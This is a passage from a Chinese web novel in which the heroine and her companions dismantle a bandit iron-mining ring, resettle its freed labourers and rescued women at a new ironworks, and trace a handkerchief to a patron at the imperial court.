待两人坐定,贺柳儿挣扎了一会,终是把自己陷入那噩梦般的过去。 “有一次冯谋醉酒后来寻我,絮絮叨叨抱怨了许多,说是他们辛辛苦苦的做活,弄到的银子,大头却要送给京城贵人,实在不明白二叔脑子是怎么想的!” 郭守云和刘青青对视一眼,从对方眸中看到了浓重,两人不自觉坐直了些。 贺柳儿紧紧咬着唇轻微的颤抖起来,好似想到了可怕的事情,她的手紧紧拽着被子,贺过连忙拍着她的肩膀:“没事柳儿,都过去了,以后你就在家,哥哥会照顾你!” 半响,贺柳儿方平静下来“后来有一次,冯谋从县城回来,怒气冲冲来寻我,他痛骂冯保山贪得无厌,自私自利,弄了银子去讨好京城的贵人! 我哄着他喝了些酒,才套出话来。 冯保山原是冯谋冯勇亲二叔,因上京赶考的时候,几乎病死,幸得一贵人相救,他捡的一条命后,便誓死效忠。 后来中了同进士,他回到县城谋了份县丞的差事,将两个侄子扶持成沙风寨的大头目和二头目。 沙风寨表面是土匪窝,其实私采铁矿炼铁的炼铁场,得来的铁器卖到黑市,获取暴利,然后送入上京。” 她示意贺过撕开她的夹衣下摆,从中小心翼翼抽出个油纸包。 揭开油纸包,露出一块泛着荧光的帕子。这块帕子不知道是什么料子做的,质地光滑细腻,比刘青青见过的所有布料都要好。 上面几个簪花小楷:盼君早愈复朱颜,冲破云霄飞九天。 几人面面相觑,这是什么东西。 贺柳儿冷笑:“这是冯谋趁冯保山不注意偷来的,说是要用它去京城寻出这个藏头露尾的混账。我使计偷了来。” 怒气冲冲的冯谋最后能平静下来,贺柳儿当时受到了怎样的虐待,可想而知。 刘青青不愿意她继续把那些鲜血淋漓的过去撕开,拉着她的手安慰道:“多谢你柳儿姐姐,过去的事便过去了,我们定会让恶人得到应有的惩罚。你好好将养,过些日子,我们再来看你!” 两人捧着帕子找到温如初,禀报此事。 温如初愕然,一个小小的常安县竟然藏龙卧虎,背后还有京城的手笔,不查清背后是谁,他们以后寝食难安——挡人财路如杀人父母,他们覆灭沙风寨,背后之人定然要找补回来,一想到暗处有一双阴沉沉的眼睛,时刻找着机会对他们下手,温如初这病也养不下去了。 查,立刻查,必须撬开冯保山的嘴。 偏偏冯保山极其多疑,久久不见冯管家,已经对嫣儿起了疑心,每日间沉睡养病,不愿开口说话。 几人束手无策,最后决定将冯金宝带来,试着套出些内幕。 冯金宝这些日子一直被关在府衙,看见冯保山,炮-弹般冲了过去,白胖的脸上满是委屈,质问起来:“阿爷怎的现在才来接我!”那些人实在可恶,竟然把他关起来。 他一开始大吵大闹不愿意吃饭,那些人真的把饭菜端走了,让他饿了整整一天,从那后他便明白。 床上的冯保山抚着他的脸,有着无限眷恋:“阿宝,阿爷要去很远很远的地方,你以后要乖乖的,堂堂正正的做人。你会经历很多苦难,也许吃不饱穿不暖,还有可能被其他人欺负,但是没关系,阿爷也是这样过来的,你一定要长大,等你长大了,我便回来看你! 你乖乖的,领着衙门的大人们去阿爷书房里,我们躲猫猫的地方,他们会好好安置你的。” 熊如冯金宝,这几日被关着,没人搭理的他终于认得了些怕,听到冯保山这样说,小小的他觉察到会有不好的事情发生,不停追问冯保山询问他要去哪。 冯保山没回答他,裹着纱布的眼睛,直直的看向郭守云等人的方向,他嘴角挂着一丝解脱的笑:“从沙风寨动工那一刻,我便料到了今日,这一切全是我一人谋划。稚子无辜,什么都不知道,请大人们放他一条生路!” 郭守云暗道不好,快步走到跟前,却发现冯保山已经气绝双亡,嘴角流出暗红色的血,原是咬舌自尽了! 冯金宝吓坏了,不停的摇着他:“阿爷,阿爷,你怎么了,不要阿宝了么?” …… 刘青青心里闷闷的,无论之前冯金宝如何霸道不讲理,但这一刻,他只是一个失去亲人的孩子。 导致冯金宝嚎啕大哭的原因,她们也占了一部分,若他们不悄悄把人偷走,是不是就不会发生这些事了呢? 郭守云感受到她的别扭的情绪,拉过她的手劝解:“是啊,稚子无辜,他好歹命还在,可是那些被他们害得家破人亡的稚子,默默的僵硬在世界的某个角落,谁又来可怜他们呢?矿场里那些皮包骨头的苦力,谁又来可怜她们?像贺柳儿被迫害的女子,将用一生来修复受过的伤,谁又来可怜她们? 无论大人小孩,仰或老人,做错了事,都应该受到惩罚,这世间才能一直安稳。 /:. 冯金宝也不无辜,即便他没犯下这些恶,但他用着沾了人血的银子,锦衣玉食享受了这么些年,律法自会给他公正的裁决,你不用为此愧疚。 莫要自责了,导致这一切的因,不是因为我们插手,而是冯保山的贪得无厌,他修建沙风寨那一刻,就种下了因。我们只是提前拨乱反正,为大多数人找到了公平。” 郭守云知晓她一向心软,特别面对小孩子的时候,特别没有底线,明明她自己也还是个孩子。将剩下的事交给庞忠,拉着她去接刘有山。 这次押运货物,是刘有山亲自压阵。 他一下马便没好气的用鞭子在刘青青大腿上轻轻抽了一下:“你越来越无法无天了,才惹了地痞村,现在又捅了个土匪窝。” 打完很是心疼,拉着刘青青仔细打量:“我看看,可有伤到哪里!” “等回了家,立马叫你阿娘将你拘起来,学针线,免得你到处乱跑惹事!让你阿娘给你去庙里寻个神仙算算,莫不是惹了凶星,不得过点太平日子……” 刘青青听他絮絮叨叨骂着,心里暖暖的,听到后面,阿爹也和那些市井妇人一般,迷神信道,不耐烦回嘴嘴:“阿爹,我这是为民除害,除暴安良,哪里有什么凶星善星的。” 刘有山被她顶得牙疼,气得吹胡子瞪眼,拿不下自家女儿,只好扭头教训郭守云:“阿云,你也是,得把夫纲振起来,她不知道天高地厚胡闹,你也不管束她,哪里有女娃像她这样跳脱哦!” 郭守云听到夫 纲两个字,心里有些异样的感觉,也不生气被怼,抿嘴一笑。 知道刘有山是气急了眼,只好委屈巴巴道:“阿爹,我一向跟你学的,你一直对阿娘尊敬爱护有佳,我以为这就是为夫之道啊!” “而且,我觉得吧,阿青性喜自在,想去哪就去哪,我陪着就是,她惹了地痞村,我便扫了地痞村,她捅了土匪窝,我便荡了土匪窝,她若把天捅了窟窿出来,我也会想办法补了。” 刘有山:“……” 好小子,暗搓搓讥讽他惧内啊!不过后面那些话,为何感觉油腻腻的。 一旁的刘青青不乐意了:“什么父纲夫纲为夫之道,乱七八糟的,阿爹,你莫要闲扯,粮食都带来了么!” 拉回正事,刘有山点头,指着后面一溜的马车骂道:“这常安县的路,真不是人走的,我也跟着下来推车,老辛苦了,差点扭了腰!” “园里马车紧张,我先运来十车糙米,鸡蛋肉干三车,食盐红糖等一车,常见药材一车,还请了姜老大夫一起。” 真是意外之喜,她正要去找他呢。 李有山拉着她:“路程颠簸,姜老大夫年纪大了些,我扶他到屋子里洗尘休息,让他歇歇,晚间再去唠嗑。” 姜老大夫便是为刘有山保住命的老大夫,和刘青青一起弄出了一洗净,解决了马儿狗儿身上的跳蚤之苦。 贺过对沙风寨较熟悉,刘青青把苦力分成50组,一组选出两人作领班,配合府兵们一起干活。 因苦力们原来的屋子是茅草房,潮湿闷热不透气,空气污浊,不利于修养,是以刘青青命人将沙风寨内院的所有房间收拾了出来,撒了石灰消毒后,用木板搭成大通铺,将人全部安置了进去。 晚间的时候,所有苦力已经归拢下来,按序到厨房领一碗煮得软软的糙米饭,配着蒸得嫩嫩的芙蓉蛋。 不是她舍不得给大家吃顿饱饭,这些苦力长期受沙风寨的虐待,每日间只得一点米糠果腹,要是一下子吃太饱,只怕吃出问题。 即便刘青青有意克扣,还有几个苦力因为吃了加了猪油的鸡蛋,晚间的时候闹肚子,幸好姜老大夫坐镇,扎了针后又灌下盐糖水,才没有闹出人命。 有吃有喝有住,还有大夫看病,不少苦力都觉得这是神仙日子,发自内心的感谢刘青青,亲切的称呼她是心善的刘菩萨。 堪堪将养了半月,大部分的苦力脸色不再死气沉沉,走路发飘,刘青青召开了第一次苦力大会,是走是留,让所有人自己选择。【你现在阅读的是 】 160-170 第161章 第161章班底 这天早晨吃过早食,刘青青使人在沙风寨里敲响铜锣,召集全体苦力召开第一次沙风寨集中会议。 苦力们过了半个月吃了睡,睡了吃的安稳日子,对于这次集中有种莫名的抵触情绪,三五成群四五成堆聚在一起讨论。 有嫌弃不给吃米饭的在阴阳怪气:“我就是料着官府没安好心,一直关着门不让走,啧,定然要叫我们交钱才能走人!幸好家里还有点余钱,我定要让媳妇带钱来赎我回去。” “嗨,才走了虎豹,又来了财狼,这日子可怎么熬下去啊!” …… 各种猜测不一而足。 刘青青站在瞭望台,他身后的郭守云重重的敲了一下铜锣,示意所有人安静。 大家眼巴巴的看着瞭望台,只见瞭望台和平时有点不一样,四周多了几个大号的木头喇叭花。 刘青青清脆的声音便从那几朵木头喇叭花里传来出来。 “各位乡亲,一了解到沙风寨的种种恶行,知府温如初大人立马带着我们前来。为了深入沙风寨得到第一手消息,大人他不畏艰险,亲入虎穴和大家同甘共苦,在他的带领下,在魏将军和庞知县的协助下,我们将士将沙风寨恶人一网打进。 坏人们都得到了应有的惩罚,冯谋当场被格杀,冯勇挑断手脚筋重点看守,其他协犯也一并关入大牢,温大人已上报朝廷,等待朝廷的判决,大家自由了!” 折磨自己的恶人终于得到了报应,不少苦力们吐出了心口的那团恶气,大家欢喜得连连叫好:“好,痛快! 朝廷万岁,皇上万岁,温大人是青天啊!” …… 刘青青观测众人脸上由一开始的怨怼,变成了感激,续道:“大人深知你们受苦了,身子亏空,担心你们路上安全,因而没有一开始便放你们回去。 为了让各位乡亲尽快调好身子,他请了名医为大家配了食谱。乡亲们若有返乡的,请记住了,切莫大鱼大肉,需要继续服用清粥淡菜,慢慢调理循序渐进,才不会在身子里留下暗疾。” 之前嫌弃日日喝粥的人,这会子脸上全是惭愧,原来大人是担忧他们的身子,才不给吃干饭的。 刘青青顿了顿又解释道:“大人知道大家伙受苦了,理应发一些银钱给大伙调理身子,只是,常安县收取的税银,全被沙风寨恶人抢夺了去,被他们挥霍一空,衙门里实在没什么银子,就是这段时日大家伙嘴里吃的粮,喝的药,都是温大人从府城筹集而来的。现在实在无力为继。” “大人心疼各位,若大家归乡,每人发两斤粮食!祝各位一路平安到家!” 她说完,不少人交头接耳,称赞温如初真是位爱民如子的好官。 许多家近的,开始询问,去哪里登记领粮还家。 也有离家远的,面上愁苦,两斤粮食,定然是不够路上吃,如何是好? 没等他们讨论出个好的办法,刘青青顿了顿,接着道:“大人心知路途遥远的乡亲不好归家,特意给大家寻了份生计!” “他放下脸面,让府城的大商行接手沙风寨,继续为朝廷采矿练铁。 以后这里不叫沙风寨,而是青华铁场。 大人已经谈好了,在这里上工的工人们,按劳给钱: 挖出一百公斤铁矿石,十文,运送一百公斤矿石,二文,烧火的,一日三十文,干不动力气活,会计算记账的,会各种手艺的,都有薪水,薪水日结,若大家伙愿意,可以留下先做几日工,攒够钱了再离去也可。” “青华铁场包住,吃的需要花点钱,五文钱管饱!” “因是温大人特意为大家寻来的,大家只有一次机会,若离开后还想回来,需要和外面的乡民一起,择优录取哦!” 下面安静听她介绍的苦力们,哄得一声炸开了! 之前在沙风寨,被迫从天明干到天黑,甭说工钱了,只得些米糠果腹,睡的是潮湿难闻的茅草房,间或被监工甩几鞭子,有时候监工心情不好,也要被他们殴打撒气。 现在呢,做同样的事情,竟然有铜钱领,一百公斤十文什么概念,铁矿石很是压秤,一个劳工随便挖一天便是一千公斤 ,能够领100文,若是熟练工种,能挖到两吨,便是整整200文,要是挖上一个月,便是6000文,六两银子! 大家一边板着手指头数着,一边交头接耳,得出一个月六两这个数字,大部分人呼吸都急促起来。 这哪是做工啊,这是捡钱。 常安县天气干旱,田地里收成低下,相对的,便有很多人出门干活用以补贴家用,一个活计常常许多人争抢,导致价格压得很低,比如帮忙盖一天房子,或者浆洗一日衣裳,可得三十文。 但是,挖一日矿,便得200文,用脚指头都知道如何选择。 当下不少人就慌起来:“我留下,我留下,我挖矿石用快又干净!” “我力气大,能一次搬运两百斤矿石。” “我,我会炼铁!” “我会打铁!” “木活我熟悉!” …… 也有人愁眉苦脸:“我干不动重活,不懂木工,也不会记账,我能干什么呢?” 适才嚷嚷着要回家的人,这会子往前拥挤着,生怕慢一会,自己就落选。 郭守云用力的敲响铜锣,清脆的铛铛顺着大喇叭传到每一个人的耳朵里,他冷冷的声音也随之扩散:“要走要留,找组长排队登记,有多少人,青华铁场要多少人,插队闹事者叉出去,打一顿后永不录用!” 大家见识过郭守云云淡风轻间砍了土匪的头,自觉的排气队。 刘青青编排组长的时候,有意思选了60个稍微识字的,这会子做起事情来事半功倍。 到了晚间,她统计出了数字,合计三百人决定离开,剩余的都愿意留着青华铁场做工。 刘青青弄来牛车将人送到镇上。 留下的工人中,次日便被刘青青安排了开始干活,按照他们自己的意愿,有继续下矿井挖矿石的,有搬运矿石的,有挖土的,砍树的,开采石头的,取泥的,切稻草的,甚至断了手臂的老牛也安排了一个扫地的活计……所有人都有事可做。 每个人发了个册子,完工后,派活计的管事在上面盖个小章。 到了天黑时分,工人们就可以用小本子去账房领工钱。 沉甸甸的铜钱到手,数了好几遍小心的揣到了怀里,不少人的心终于落下了肚子,他们自由了,而且因祸得福,寻得了一个能赚大钱的活计。 大家脸上挂着笑,相约着一起往饭堂走去。 饭堂入口的地方守着个人,笑眯眯的按人头收费,嘴里重复的规矩:五文一人,随便吃,但不许剩,剩下要罚钱。 饭厅里收拾得干干净净,一排排的桌子摆放得整整齐齐,白花花的糙米饭蒸得软软的,像一座小山摆在最前面,旁边一桶飘着油的黄瓜蛋花汤,一盆冒着香味的酸菜炒肉沫,啧,虽然只有一点肉沫,但是也是肉啊。 工人们一窝蜂的冲上去,生怕晚了便没有,却被穿着白衣的胖厨子藏了饭勺,他咚咚咚的敲着桌子:“放心,锅里还有,吃完立马端来,每人都能吃饱! 排队排队,不排队的叉出去,舀了必须吃完,吃不完的罚款!” 工人们摸到了诀窍,做什么事情,都要排队。 按序取饭后,大家围坐在一起边吃边聊。 “可惜,派活的管事赶我们来吃饭,说是天黑必须下工休息,不然,我还想再挖一筐,啧,一筐矿石挖出来,就是十文钱,我今天整整赚了一百文!” 记账的六子摸了摸自己的口袋,他今日只赚了三十文,他也很满意,因他没有大牛哥那样的强壮身板,吃不下挖矿石的苦力活。 他喝了一口鲜甜的黄瓜汤,餍足的眯着眼,如同偷吃了鱼的橘猫。 前些日子还以为坚持不下去了,想不到,才过了半个月,他便过上了梦中的日子。 脑海里浮现出刘青青的影子,这翻天覆地的改变,都是她带来的。她果然像传闻中那样,是菩萨座下的善财童女,下凡来拯救帮助百姓的。 六子悄悄发誓,以后定要跟着她,唯她马首是瞻。 如六子这般想的人有很多,也有些嘴巴刻薄的。 有一个有挑食毛病外号扁担,一边把嘴巴塞得满满的,一边抱怨:“虽说这酸菜肉末炒得蛮香,可惜饭堂才一个菜,选择着实少了些!” “是啊是啊,我是北边来投亲被沙风寨抓来的,这伙食管饱实在,但着实吃不惯!”身材魁梧的黑熊应和。 他又黑又高又壮,得了这么个诨名。 大牛砰的把筷子拍在桌子上棱起眼睛:“你们就是贱,之前沙风寨的恶人拿鞭子打着,你们米糠吃着也挺美味,这会子还嫌弃起来了,矫情!” 阴阳怪气的两人看看他一个顶两的身板,讪讪的笑笑,这不是吹牛么,干嘛那么较真,没劲。 适才的胖厨子笑呵呵冒出来:“没事!民以食为天嘛,我懂! 红烧肉,酱肘子,烤羊排,泡鸡爪,冰蜜水,小笼包,苦瓜汁,桃酥千层酥,山泉酒,成衣鞋袜,书籍话本,吃的用的玩的,要啥有啥,诺,出了饭堂往后那条街,不过价格么,肯定五文买不到!” 扁担和黑熊,一人天生舌头灵敏,普通饭食实在难以下咽,一人喜好面食,两人对视一眼,将碗里的饭扒拉完,抹抹嘴勾肩搭背往后街走去。 后街原来是空地校场,这会子已经搭起很多摊子,有的已经打着灯笼幡子开始做生意,有的还在砌着锅灶。 黑熊一眼便看见一个面摊,兴冲冲跑过去,点了碗刀削面。 雪白的面片上,浇了红油油的焖肉帽子,灰黑色的香菇丁,碧绿鲜嫩的小葱,光看看,他的口水都要流出来,这十文花得值。 他迫不及待挑起一筷子面片条塞到嘴里,焖肉入口即化,汁水横流,面片滑腻有嚼劲,满口香浓,实在,太他么得劲了! 他顿时埋首大吃,再也顾不住其他。 扁担嫌弃的撇撇嘴,没出息,不过一碗面而已,看他那熊样! 他闲逛到旁边的冰水摊子,伙计桶里透明的冰块在灯光下晶莹剔透,冒着丝丝寒气,他感觉这炎热的天气立马凉快下来。 怀里有钱,他光棍一个,一人吃饱全家不饿,利索的点了一杯屠苏冰饮。 入口一刹那,密密麻麻的泡泡在舌尖上炸开,酸甜冰辣刺激着味蕾,直冲天灵盖,瞬间让他打了个舒服的嗝,啧,这十文太值了! 第162章 第162章后续 刘青青深思熟虑后,将炼铁部从青华园调到了铁场,以此作为班底,从工人中挑选有天赋的工人,组成新的炼铁部。 铁场采用流水线的方式,采矿、搬运、炼铁、打铁,建模……以最快的速度,重新运转起来。 产出的铁制品,比起世面上流通的,明显质量更高。 青华园上架了一匹铁场特制的菜刀,比市面上的菜刀锋利轻薄,又成为南安府的一大特产,百姓们争相购买。 因刘青青抽调了十万两银子砸到铁场,张和一直叽叽歪歪,不满意刘青青为何留着这些病歪歪的苦力,而不是重新招录健康的工人,他是纯粹的商人,在他看来,采用身强体魄的工人立刻投入生产才符合最大利益,而不是耗费巨资白白养着苦力们半月。 直到菜刀被抢购一空,刘青青才给了她答案:“因为他们都是熟练工种,最是年富力强的时候,之前被饿狠了,现在伙食跟上,身体恢复快,能最快的投入生产。” 说来讥讽,刘青青还要感谢沙风寨,抢来做苦力的百姓,全是身强力壮的中青年。 刘青青露出一抹意味深长的笑:“最最重要的是,这些工人曾掉入黑暗,是我们亲手把他们拉回光明,他们心怀感激,对铁场有归属感。” 旁边的郭守云在心里补充了一句,还有政治原因,三千中青年,大部分是光棍,若不安置妥当,全部赶走,只怕没三个月,常安县又要组起一个新的沙风寨来。 刘青青吃下这三千人,此举可谓一石三鸟,既解决了自己青华园人手不够的问题,又兼顾了当地的治安,还带动了常安县的经济,这盘棋便被盘活了。 因牛舌头大片荒地已经被青华园买了下来,刘青青和郭守云两人勘测了周边地形,这一片空白的土地上,作出了最新的规划。 最南边的是铁场,北边的是牛舌头作坊,西边是集市,东边是生活区,开始建起一幢幢独门独户小院子——已经有高薪的工人,不满挤在一起睡大通铺,迫切的想要有自己的独立房间,打算着把家人接来一起生活。 比如橡胶园调来的那些老师傅,身家不菲,抱怨大通铺环境恶劣,陪同而来的亲眷住在县城里,着实不方便。 青华铁场用的是原本沙风寨建盖的房子,里头已经被各种作坊库房挤占得满满的,刘青青便在外面设立了生活区,环境优美,距离铁场两里地,既兼顾了上工,又不影响生活。 刘青青弄了个沙盘,整个生活区和集市活灵活现做了出来,一排排南向的房屋整齐布置在大路两边,青瓦白墙,甚是惹人心动。 不少工人意动,却被小院子高昂的价格吓退,这样的一座院子竟然要100两!县城街上的房子,也不用这么多! 卖房部的小娘子耐心的解释,指着沙盘上有一座座的建筑解释:“县城能和这里比吗? 这里买房,男人可以去铁场上工,女人可以去作坊上工,老人在自己小院子里种点小菜可以去集市上卖,县城你去哪里上工! 诺,这是学堂,买了这个院子,家里的孩子就可以到学堂里免费上学认字启蒙! 这是铁场里的工人才有的待遇! 这是集市,有附近的乡民到此售卖自家的物件,沾着露珠的青菜,还热乎着的鸡蛋,晒得干干的柴火,牢固的土布衣裳,还有府里商行来开的杂货铺子。还有比这里还适合居住生活的地方么!” “而且,我们的房子不用一次性付100两,只要交一层定金,也就是10两,你就可以搬进去住了,剩下的欠银,每个月还一点!” 工人们迷茫了,被价格吓退的心, 又被孩子可以去学堂免费读书启蒙,给勾得火热。 还在犹豫不觉的时候,卖房娘子又添了一把火:“先买先选哦,喏,离学堂最近的那些房,已经只剩一幢了呢!” 能被抓来做苦力还熬下来的,大部分是老实的良民,向往着安稳的日子,迫不及待的和卖房娘子签订了契约,按上手印。 大牛就是其中一个,他攒了好几个月的银子花费一空,以后每个月还要偿还二两银子,连续偿还五年,换了薄薄一张签了他名字的房契,而且房契他看了一遍后被商行收走,他心里有些帐然若失,但是睡在崭新的新房里,闻着房梁松木的香气,看着头顶上青色的瓦片,他觉得无比安全。 晚间下工回来,泡上一个热水澡,夜里饿得时候,去火房里煮一碗糖水鸡蛋,偶尔自己炖个鸡打打牙祭,比住在大通铺舒服自在多了。 他托人带信回家,嘱咐爹娘带着妹妹搬过来,左右除了堂屋,还有四间房,足够住了。这个生活,他之前想也不敢想。 他脑子轴,空有一把子力气,之前整天在田地里挥汗如雨伺候庄稼,每天顶着烈日浇水拔草,可是得的收成还不够一家子的嚼用。 为了补贴家用,出门做短工的时候被沙风寨绑了来,原以为,他会像之前无数的苦力那样,静悄悄的倒在监工的鞭子下,却不想,过上了顿顿喝鸡汤的日子。 想到这,他眼睛有些酸胀,这一切,都是青华园带来的呢。 他已经计划好,等爹娘来,请媒婆说上一门亲事,这日子便齐整了。 想到亲事,他黝黑的面庞变得黑红,不晓得在作坊上工的她,愿不愿意嫁她? 忙了半年,青华铁场终于走上了正轨。 剿灭沙风寨的时候,由于衙门经费奇缺,没法安置那么多人,庞忠愁得一宿一宿睡不着,满嘴燎泡。 温如初从中说和,把铁矿三十年的开采权销售权给了青华园,免税半年,半年后衙门除了五取一收税,不得干涉青华园的运转。 作为交换,刘青青要安置好沙风寨的三千人,让他们衣食无忧。 是的,衣食无忧! 除了苦力之外,还有被沙风寨抢来的三百女子。 苦力还好,庞忠派人送他们还乡,命当地的里长多盯着,不许这些苦力聚集,应该不会出什么大纰漏,但这三百个在土匪窝呆过的女子回家,那就是死路一条。 世人偏见愚昧,总会有污言秽语扑在她们身上,如风霜刀剑一样时刻砸在她们已千疮百孔的心上。 可能有疼爱女儿的父母,抛家弃业带着女孩搬家重新开始,但是大多数普通父母,只会嫌弃女儿失了清白,让他们丢人,让他们难堪。 这些女子,在风言风语,异样眼光下,要么重蹈覆辙落入污潭,要么自裁谢世。 三百条人命,庞忠扪心自问,他真的没办法把这件事妥善处置好。 铁矿开采,利润极其丰厚,除了上交朝廷之外,剩下的便是当地衙门,有了这笔钱,他能为衙门做无数的事情,他所有的抱负都可以一一实现。 庞忠天人交战半月,顺着常安县闲走,短短一月,发现百姓们脸上多了笑容,多了活气。 路上多了许多人,路上还有一群群鲜活的小娘子去逛街集……盖因剿灭沙风寨,百姓们都敢到处游玩。 他看着这些改变,惭愧地低下头,不得不承认,他不能比青华园做的更好,是以,他痛快的签下了契约。 在庞忠天大的事,在刘青青那里就不叫事。 三百个受过苦的女孩,她问过她们的意愿后,全部立了女户。 “你们要是自己能立得起来,我便让你们为自己做主,以后你们不再靠爹娘,不再靠兄弟,靠自己一双手。只要肯做事,每人都可以赚钱养活自己,赚钱买房!” 刘青青亲自和三百人面试交谈,按照她们个人的意愿,将她们安排到铁场和作坊的各个岗位上。 嘴皮子利索不怕人的,便去卖房部卖房,杂货铺卖货,会锅灶的便使去跟着胖厨子打下手,厨艺好的便派去后街开美食小摊子,嘴笨的调到作坊里上工,为牛舌头削皮加工…… 至少,她们在青华铁场,过得自在,过得自由。有吃有穿有住,不被爹娘打骂,不用补贴兄弟,有胆色的女孩,已经分期付款买了自己的小院子。 没人敢调戏取笑她们,因为上一个敢出口戏-弄她们的人,被刘青青当着铁场所有人的面,痛打一顿,赶了出去。 当然,这些都是常安县半年后的样子。 决定了沙风寨的处理后,温如初把郭刘两人叫进了书房,烦躁的捏着眉心:“那块帕子摸到些来路,名作天竺绸,是十八年前天竺国上贡的贡品,一共五匹,先帝自己留了两匹,剩下的三匹分别赐给了当时的三位皇子。” “三位皇子就是如今的赵王,晋王,和楚王!” “赵王喜丹青古玩,花费甚巨!” “晋王爱好美人,常常一掷千金只为博美人一笑!” “楚王嗜玩骑射,听说前者日子花费百万购了一骑西域纯血!” 三人面面相觑,这三位王爷,都是耗钱的主啊! 第163章 第163章计划新品 书房里一时沉默是金。 三位王爷,无论哪一位,轻轻搓搓手指头,也能把他们像蚂蚁一样按死。 刘青青缩缩脖子,伸出个指甲盖比划:“他们家大业大,这么点小铁矿,肯定不会在意的拉!” 温如初莫名的看了她一眼,京城的贵人最在乎脸面,攀比成风,只要喜欢,不管值不值,万贯的铜钱说花就花了,问题是,要他们喜欢的。 但若是谁妄想从他们手中讨要点东西,哪怕一颗针,那是比登天还难。 他们这样悄摸摸把铁矿弄了过来,背后的贵人知道了,只怕如刺在哽,想着法子找补回来。 郭守云看了两人一眼:“律法规定,每一个铁矿,无论大小,必须上报朝廷,由当地衙门监管,沙风寨私采铁矿,背后之人肯定不敢冒头,谁也不想被皇上惦记上。 皇上多疑,肯定会想,这人都私采铁矿了,那是不是悄摸摸打造兵器,是不是暗地里培养军队,哟,这是不是惦记屁股下的座位啊!” 是啊,王爷虽然显贵,上面还有个皇上呢。 被他这么一分析,温如初惶惶不安的心,安稳了些,实在是他在京城长大,对那些达官贵人的霸道深有体会。 他扶额:“你说得有理,无论是谁,铁矿的事,他们定然不敢再伸手。可能在其他地方为难我们一二。” 只要不是明抢就行。 “南安府远离中枢,他们想使绊子,手也伸不了这么长,我们缩在南安府老实窝着,等过些年这件事淡得差不多了再上京。” 他有些怜惜的看着郭守云:“可惜你的功名,要磋磨几年!” 郭守云躬 身行礼:“温大人谬赞了,上次小生拿了案首只是侥幸,南安府贫困,许多学子的书都是自己抄的,注解更是没看过。我因“妻族”不予余力支持,家中藏书无数,暂时比别人多背了些书,但是论学问,我还差得很远,大人千万莫再说这样的话了。” 前些日子,刘有山教育他为夫之道,他便爱上了这样的字眼。 对着刘青青口花花的时候,有种隐秘的期盼,不晓得她是有个什么样的回应。 就像现在,他恭敬的对着温如初回话,但余光却盯着刘青青,发现她根本没在听,心里的小雀跃便熄了下来。 得,又一次失败的试探。 温如初没听出他言语里的机锋,赞赏的点点头,这孩子胜不骄,谦逊有礼,是颗好苗子。 刘青青根本没感受到他的试探,扯回话题:“大人,冯保山府上可搜出什么东西来?” “缴获些古画孤本,这些东西是个文人看见了都走不动道,没有发现特别有用的线索。另有一万两现银,可以缓解一些常安县的危机。还有冯家的房契,仆人的卖身契等。另外还有些燕窝海参干贝等能储存的珍贵食材。” 他甚是不屑:“燕窝海参虽说少见,也没必要珍藏在密室里,这冯保山养了这么多姬妾,也是个扣门的!” 正在懊丧的郭守云幽幽道:“有没有一种可能,那些海参燕窝,是京城里的贵人给他的!” “帕子,燕窝,海参等食材,和他有联系的京城贵人,只怕是个女子!” 温如初倒吸一口凉气,恍然大悟,难怪看着帕子上的提诗,他隐隐感觉哪里不对,想到这一层,他脸上变化莫测。 原来贵人是三个王爷中一个的家眷,这妥妥的是皇家丑闻啊。 不得不说,同一个爹生的三个王爷加今上,完全随了先皇的威武,都生得魁梧粗壮。年老的冯保山依旧人模狗样,年轻的时候估计甚是风流雅致。 一想到冯保山这厮竟让某个霸道的王爷绿云罩顶,温如初忍不住轻笑。 满室的惶惶失措变成了嘲弄,空气里弥漫了幸灾乐祸的气息。 为什么不是王爷命令的呢,试想,哪个王爷会让自家女眷和外男交接谈事啊,那是把屎盆子往自己头上扣! 对上两双清冷的眼,温如初咳嗽一声演示过去,这些花边桃色猜测就不用和他们解释了。 他喝了口茶解释:“阿云说得对,贵人恐怕是女子,京城注重繁礼,不像我们南安府自在,女子一般生活在深宅大院,恐怕她没机会出来找我们的麻烦!” 信你个鬼。 刘青青翻了个白眼,她又不是真的小屁孩,哪里不明白其中的奥秘,面无表情忍笑忍得很辛苦。 只有郭守云叹了口气,产生了危机感,这世界实在太危险,生活在深宅大院的贵人都会被骗! 他暗暗下决定,一定要在刘青青身边守好了,莫让她也被冯保山这样的斯文败类给哄骗了去。 在他的脑袋中,刘青青的聪明全长在铜钱上,世情之事完全是白痴,不然的话,为何一点没感受到他的试探呢? 刘青青终是记挂着冯金宝。 温如初说了他的安排:“那孩子按律判无罪释放,可惜被冯家养歪了,我有个同窗久考不中,下面又没有个一男半女,我着人把他送了过去,充作养子!” 人与类聚,温大人同窗肯定温良正直,也许能把熊孩子毛病治好,不失为一个好去处,比在常安县人人喊打好些。 刘青青颔首。 青华园能把沙风寨盘下来,温如初也帮了不少忙,刘青青向他汇报了一下发展计划,顺便讨讨他的意见:“铁场主要分两个部门,一是铁器部,挖出的铁矿石烧炼后,粗铁用于制作各种农具,锄头镐子铲子之类的,精铁少得,用来做各种惊细的部件,比如车轮转轴等。” 有了铁矿,刘青青脑子里许多计划都可以一一实现,比如专门克制擅骑战金人的火枪。 她不知道做法,但有想法,知道大概的思路,能工巧匠多的是,相信不停的有目标砸钱下去,一定能把火枪给砸出来。 这些还没影子的计划,她便没提。 温如初点头:“你有利民的心是好的,只是,农民困苦,恐怕没多少余钱购买你们的农具!” 青华园出品,必是精品,相对应的,价格比市面上的小贵一点。底层的老百姓购买农具的时候,考虑最多的是价钱。 “大人放心,我们自己是农民,知道农名的苦,不用农具赚钱,我们赚钱的地方在其他项目,我们还打制君子剑!” 这时代的读书人,相当的烧包,人手一把折扇,腰间一把君子剑。越是花哨越受追捧,刘青青决定弄些宝石珍珠来镶嵌在剑柄上。 青华铁场的精铁用了高炉烧制,比市面上的纯度高,制作的宝剑更加铮亮大气,走的是上层轻奢路线。 卖的不是君子剑,是风流雅致,是高端大气。 温如初很是欣慰,青华园的乳胶枕乳胶垫井盐特色产品,吸引了周边州府的商人来购买,大大的带动了府城的经济,要是君子剑能博得读书人的喜爱,将吸引无数的文人来南安府游学,对南安府学子的文气,是一次巨大的提升。 他一口承诺:“放心,我晓得你的意思,朝廷不允许私炼兵器,我让签房给你们备案,你们卖的不是兵器,是文具!” 解决完最困难的兵器备案,刘青青笑着把话题转向另一个部门,作坊部。 “大人,常安县漫山遍野都是牛舌头,牛舌头全身都是宝,老的叶子用来养牲口,嫩的叶子做成咸菜,结的果子直接售卖,或者做成果汁运到外面。 